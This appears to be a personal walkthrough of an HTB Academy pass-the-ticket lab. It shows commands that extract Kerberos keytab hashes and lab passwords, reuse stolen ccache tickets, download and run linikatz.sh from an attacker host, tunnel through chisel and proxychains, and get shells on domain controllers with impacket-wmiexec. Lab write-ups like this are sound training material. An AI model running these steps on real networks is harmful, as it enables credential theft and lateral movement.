# Pass the Ticket (PtT) from Linux

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FA6lpDRkVv1ajsQ9a79Hh%2Fimage.png?alt=media&#x26;token=662e83dc-948c-42f2-8515-b9c09c39b7bb" alt=""><figcaption></figcaption></figure>

```
ssh david@inlanefreight.htb@10.129.234.123 -p 2222
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FVFiDGBQvAybdKknXY8tE%2Fimage.png?alt=media&#x26;token=ee80e284-dbbc-48a5-a696-aeab7fe852d8" alt=""><figcaption></figcaption></figure>

```
realm list
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FlApivIozFPRyGQkH4bep%2Fimage.png?alt=media&#x26;token=bbdaffb4-8e53-42a9-8f22-6f6dd0f96723" alt=""><figcaption></figcaption></figure>

```
find / -name *keytab* -ls 2>/dev/null
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJLEeiO6c0IiH45rg9ays%2Fimage.png?alt=media&#x26;token=90683eec-f539-4e97-9a4e-a1b3e3dea951" alt=""><figcaption></figcaption></figure>

```
python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F6yb9IeKvZZY7J85f1NhX%2Fimage.png?alt=media&#x26;token=11337392-dc94-4483-916c-5519b89f6f6d" alt=""><figcaption></figcaption></figure>

```
ntlm- a738f92b3c08b424ec2d99589a9cce60
user - carlos
pass - Password5
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FIwIWR0L6z0TAQfMluxHZ%2Fimage.png?alt=media&#x26;token=b31d85a6-88f0-4f78-849a-1cbe06382b9c" alt=""><figcaption></figcaption></figure>

```
ssh carlos@inlanefreight.htb@10.129.234.123 -p 2222
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F3H55cPRh27KbGLWxHnZG%2Fimage.png?alt=media&#x26;token=79c078cf-8ef9-42de-941a-2517e69c4644" alt=""><figcaption></figcaption></figure>

```
crontab -l
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F3OxIboaEL0680p7PWCTq%2Fimage.png?alt=media&#x26;token=fd351b4c-1833-49cc-9b4f-3921d28fa3c1" alt=""><figcaption></figcaption></figure>

```
cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMmmKY0bENduuqMxs3qQD%2Fimage.png?alt=media&#x26;token=c780a277-5567-4a34-b226-8c47cf834e39" alt=""><figcaption></figcaption></figure>

```
python3 /opt/keytabextract.py /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FG3hSLcPjbczJmPv7EGUg%2Fimage.png?alt=media&#x26;token=1a499a57-b216-4279-b801-7ca1d78504f7" alt=""><figcaption></figcaption></figure>

```
cd ~/.scripts
ls -la
python3 /opt/keytabextract.py svc_workstations._all.kt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F6xw1Qwbqi78sDhLjUsXb%2Fimage.png?alt=media&#x26;token=65670344-b3e5-45de-b5a5-7d3e31e27939" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMgVFkF4wHY4yklZoc9xT%2Fimage.png?alt=media&#x26;token=d639daeb-db06-4331-8e32-a30a5789534e" alt=""><figcaption></figcaption></figure>

```
user - svc_workstations
pass - Password4
NTLM - 7247e8d4387e76996ff3f18a34316fdd
```

```
su svc_workstations@inlanefreight.htb
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fq3L9DI3LitcBkQ7NU3Sz%2Fimage.png?alt=media&#x26;token=01b5093e-2cf9-4100-8e5c-f712a62cee58" alt=""><figcaption></figcaption></figure>

```
sudo -l
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Ft6Xqf8WSiVVQmLMjWu0Q%2Fimage.png?alt=media&#x26;token=af33038e-c816-4202-a8b5-da3d52ee116c" alt=""><figcaption></figcaption></figure>

Use this to get to root

```
sudo su
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FimqvgVCamSp590MaZ479%2Fimage.png?alt=media&#x26;token=8e4d9c4c-6aa5-4031-b477-315feb082a9b" alt=""><figcaption></figcaption></figure>

As we can see the julio user is domain user and can attempt to get access to the domain shared folder via julio

```
id julio@inlanefreight.htb
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhA0AsZdw3JoDJQHl5hPk%2Fimage.png?alt=media&#x26;token=76fd2243-6527-460a-81ad-e4d069247336" alt=""><figcaption></figcaption></figure>

```
ls -la
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FWbJCNcCgGAaDX59ipQyn%2Fimage.png?alt=media&#x26;token=c37beeb4-f396-4f6a-b184-17c763c05863" alt=""><figcaption></figcaption></figure>

Now we can impersonate the user via export command&#x20;

As you can see we have julio as default principal

```
klist
export KRB5CCNAME=krb5cc_647401106_VRIdHN
klist
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fz6VThDF7Xbu4JvX6iW29%2Fimage.png?alt=media&#x26;token=dd04f19f-5524-4c97-b0dd-623d5c9f5094" alt=""><figcaption></figcaption></figure>

You have to be fast to authenticate to smbclient since the ticket is just temporary

```
smbclient //dc01/julio -k -c ls -no-pass
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FGCb7308CgdaNlEVGdmL3%2Fimage.png?alt=media&#x26;token=128548c6-60dd-4625-a8ae-978a9a55e41b" alt=""><figcaption></figcaption></figure>

```
smbclient //dc01/julio -k -c 'get julio.txt' -no-pass
ls
cat julio.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FmVXYH6BHzDy9rTRUNKzp%2Fimage.png?alt=media&#x26;token=172d2add-ecfd-4045-a412-aff6251b5322" alt=""><figcaption></figcaption></figure>

You gotta find the file containing the credentials of Linux machines in Active Directory.

```
find / -name *keytab* -ls 2>/dev/null
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F68nqlCQYv4FQ1hd0pvQo%2Fimage.png?alt=media&#x26;token=0c576735-5693-433a-be9b-a9f344b39f6f" alt=""><figcaption></figcaption></figure>

```
python3 /opt/keytabextract.py /etc/krb5.keytab
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FfeMKkn5XfNalO5hgIF6J%2Fimage.png?alt=media&#x26;token=100308e6-d7b5-45b3-b586-35cbc57b13ad" alt=""><figcaption></figcaption></figure>

```
user - LINUX01$
ntlm - 5aa7d65408b1c36bb2d0892b8e53bce8
```

Or we could just use the keytab since we have permission so that we can impersonate the user linux01

```
kinit LINUX01$ -k -t /etc/krb5.keytab
klist
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FPkkLIjvl3Uk29s7HwFs6%2Fimage.png?alt=media&#x26;token=f799721c-4130-49b0-8f82-f5a03e00d518" alt=""><figcaption></figcaption></figure>

```
smbclient //dc01/linux01 -k -c ls
smbclient //dc01/linux01 -k -c 'get flag.txt'
cat flag.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FucyTGtEV3FTbpgKp8tWT%2Fimage.png?alt=media&#x26;token=458b885d-f72b-4f5e-a3fc-8a6de4d7816b" alt=""><figcaption></figcaption></figure>

***

Now for the next not required task

First we have to ssh to the machine

```
ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
sudo su 
```

Get the linikatz.sh&#x20;

This tool will find for kerberos tickets in the system

```
wget http://10.10.15.13:8000/linikatz.sh
chmod +x linikatz.sh
./linikatz.sh
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FkX0M0B8eeyZS9OCf46N5%2Fimage.png?alt=media&#x26;token=09e3299b-dc25-425e-84a5-5c7b5b7e6b33" alt=""><figcaption></figcaption></figure>

***

I made a visual graph about the network

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FjkywJyb4Da3EYM0ALWBM%2Fimage.png?alt=media&#x26;token=41294def-b2fe-4bea-85d6-1832a4e2de29" alt=""><figcaption></figcaption></figure>

Then for the next one we can try the chisel which is port forwarding tool

First we have to set the IPs in our attacker machine

```
sudo subl /etc/hosts

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJarotj9NA3zKCab7JtnO%2Fimage.png?alt=media&#x26;token=f29a401f-d83a-4c81-af7f-3f080721676d" alt=""><figcaption></figcaption></figure>

```
sudo subl /usr/local/etc/proxychains.conf

socks5 127.0.0.1 1080
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNXzTKRmCOsMMXcWcOGKY%2Fimage.png?alt=media&#x26;token=80fadd82-e4e8-443c-ad28-ede51d536848" alt=""><figcaption></figcaption></figure>

```
sudo ./chisel server --reverse
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FwJJUyTKZlIDxmVkP5gjb%2Fimage.png?alt=media&#x26;token=bd658176-d96d-4108-b254-896d0448ea84" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolution
```

{% endcode %}

```
cd tools
chisel.exe client 10.10.15.13:8080 R:socks
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FTKBwmEtNsT9GII8hYpVL%2Fimage.png?alt=media&#x26;token=8d01008f-c458-4f90-9316-944ca7ad0cfa" alt=""><figcaption></figcaption></figure>

But first we have to get the Julio's ccache file from the linux machine

```
ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
ls -la 
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F0lL6bJE01mcux6SNLRsz%2Fimage.png?alt=media&#x26;token=70430938-5bfc-4dc1-b298-2b3b6caced6c" alt=""><figcaption><p>`</p></figcaption></figure>

Then we will change the permission so that we can copy it using scp

```
chmod 644 krb5cc_647401106_ZN5b8D
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgXBVEjQqeQPUZFXEkxXQ%2Fimage.png?alt=media&#x26;token=b5df8e59-0f27-4bfc-afcb-525239d30c62" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
scp -P 2222 svc_workstations@inlanefreight.htb@10.129.215.254:/tmp/krb5cc_647401106_ZN5b8D .
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fpe9gwvbD6RTdaDC8b8zN%2Fimage.png?alt=media&#x26;token=25f7aa7c-b760-4203-bfa3-a13b79240daf" alt=""><figcaption></figcaption></figure>

Then we are going to export the ccache file so that we can connect to the dc01 as julio

{% code overflow="wrap" %}

```
export KRB5CCNAME=/home/kyou/academy-htb/password-attacks/pass-the-ticket/krb5cc_647401106_ZN5b8D
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FIVg2O2chW6hUeXN2Duwy%2Fimage.png?alt=media&#x26;token=420780ef-7e14-486d-90da-196c3c2d2514" alt=""><figcaption></figcaption></figure>

Then just use proxychains4 from the home directory to connect to dc01&#x20;

```
./proxychains4 impacket-wmiexec dc01 -k
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F0qizcc2YiyYC17PcUW51%2Fimage.png?alt=media&#x26;token=0db54e35-ad56-4893-96a1-1d5839d1bc5e" alt=""><figcaption></figcaption></figure>

```
./proxychains4 impacket-wmiexec ms01 -k
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FVa2nX1w03Svpxf2Ewy2W%2Fimage.png?alt=media&#x26;token=cfd9e15e-f1c3-413e-ae06-8f5121f0fa3d" alt=""><figcaption></figcaption></figure>
